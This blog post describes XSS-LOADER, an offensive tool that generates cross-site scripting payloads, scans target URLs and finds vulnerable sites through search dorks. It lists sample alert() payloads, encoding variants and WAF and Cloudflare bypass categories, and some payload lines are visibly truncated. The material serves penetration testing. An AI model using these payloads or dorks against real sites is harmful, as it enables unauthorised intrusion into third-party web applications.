XSS-LOADER : Xss Payload Generator, Scanner & Dork Finder

XSS-LOADER is a all in one tools for XSS PAYLOAD GENERATOR -XSS SCANNER-XSS DORK FINDER and this is written by Hulya Karabag.

  • This tool creates payload for use in xss injection
  • Select default payload tags from parameter or write your payload
  • It makes xss inj. with Xss Scanner parameter
  • It finds vulnerable sites url with Xss Dork Finder parameter

How to use?

Installation

git clone https://github.com/capture0x/XSS-LOADER/
cd XSS-LOADER
pip3 install -r requirements.txt

Usage

python3 payloader.py

Features

  • Basic Payload
    • Sets default parameter to : <script>alert(1)</script>
  • Div Payload
    • Sets default parameter to : <div onpointerover='alert(1)'>MOVE HERE</div
  • Img Payload
    • Sets default parameter to :<img src=x onerror=alert('1');>
  • Body Payload
    • Sets default parameter to : <body ontouchstart=alert(1)>
  • Svg Payload
    • Sets default parameter to : <svg onload=alert('1')>
  • Enter Your Payload
    • Encodes payload writed by user
  • Payload Generator Parameter
    • Encodes payload on selected tag

Also Read – XSHOCK : Tool To Exploits ShellShock

  • UPPER CASE—->
  • UPPER AND LOWER CASE—->
  • URL ENCODE —–> %3Cscript%3Ealert%281%29%3C%2Fscript%3E
  • HTML ENTITY ENCODE—–> <script>alert(1)</script>
  • SPLIT PAYLOAD —–> pt>>alert(1)pt>>
  • HEX ENCODE —–> 3c7363726970743e616c6572742831293c2f7363726970743e
  • UTF-16 ENCODE —–> Encode payload to utf-16 format.
  • UTF-32 ENCODE—–> Encode payload to utf-32 format.
  • DELETE TAG —–> “;alert(‘XSS’);//
  • UNICODE ENCODE—–> %uff1cscript%uff1ealert(1)%uff1c/script%uff1e
  • US-ASCII ENCODE —–> ¼script¾alert(1)¼/script¾
  • BASE64 ENCODE —–> PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  • UTF-7 ENCODE —–> +ADw-script+AD4-alert(1)+ADw-/script+AD4-
  • PARENTHESIS BYPASS —–>
  • UTF-8 ENCODE —–> %C0%BCscript%C0%BEalert%CA%B91)%C0%BC/script%C0%BE
  • TAG BLOCK BREAKOUT—–> “>
  • SCRIPT BREAKOUT—–>
  • FILE UPLOAD PAYLOAD—–> “>.gif
  • INSIDE COMMENTS BYPASS—–> –>
  • MUTATION PAYLOAD—–> “>
  • MALFORMED IMG—–> “>
  • SPACE BYPASS—–>
  • DOWNLEVEL-HIDDEN BLOCK—–>
  • WAF BYPASS PAYLOADS—–> Show Waf Bypass Payload List
  • CLOUDFLARE BYPASS PAYLOADS—–> Show Cloudflare Bypass Payload List
  • POLYGLOT PAYLOADS—–> Show Polyglot Bypass Payload List
  • ALERT PAYLOADS—–> Show Alert Payload List
  • ALL CREATE PAYLOAD—–> Show Create All Payloads
  • GO BACK MAIN MENU
  • EXIT

Xss Scanner

Initially you’ll need to enter url of target Please enter the url like this example==>e.g target —–> http://target.com/index.php?name= Selected for scanning payload list

BASIC PAYLOAD LIST ==> Payload list consisting of script tag
DIV PAYLOAD LIST ==> Payload list consisting of div tag
IMG PAYLOAD LIST ==> Payload list consisting of img tag
BODY PAYLOAD LIST ==> Payload list consisting of body tag
SVG PAYLOAD LIST ==> Payload list consisting of svg tag
MIXED PAYLOAD LIST ==> Payload list consisting of all tag
ENTER FILE PATH ==> Payload list determined by the user ,Please enter the url like this example..! (e.g. path —–> /usr/share/wordlists/wfuzz/Injections/XSS.txt)

Results will be added in “vulnpayload.txt” after scanning.

Xss Dork Finder

First enter the dork for searching: e.g—->inurl:”search.php?q=” Results will be saved in “dork.txt” after scanning.

Screenshot

Download
R K

Share
Published by
R K
Tags: Xss Dork FinderXss Payload GeneratorXSS ScannerXSS-LOADER
6 years ago

Recent Posts

rsync Command in Linux: Sync Files, Mirror, and Transfer Remotely

The rsync command in Linux synchronizes files and directories between two locations, locally or over SSH. Unlike scp,…

5 hours ago

patch Command in Linux: Apply Diff Files and Reverse Changes

The patch command in Linux applies a set of changes from a diff file to one or…

5 hours ago

basename Command in Linux: Strip Directory Paths and Suffixes

The basename command in Linux extracts the last component of a file path, removing the leading directory…

5 hours ago

timeout Command in Linux: Kill Long-Running Commands Safely

The timeout command in Linux runs a command with a time limit and terminates it when the limit is reached. It is part of GNU coreutils, available on virtually every Linux distribution. It is most useful for commands with no built-in timeout option, such as ping, curl, tcpdump, or a custom script that might hang indefinitely. How the timeout Command Works in Linux The syntax is: bashtimeout [OPTIONS] DURATION COMMAND [ARG]...…

5 hours ago

rmmod Command in Linux: Remove Kernel Modules and Blacklisting

The rmmod command in Linux removes a loaded module from the running kernel. Because the kernel has…

1 day ago

free Command in Linux: Check Memory Usage and Interpret Output

The free command in Linux gives you a quick summary of RAM and swap usage. It reads…

1 day ago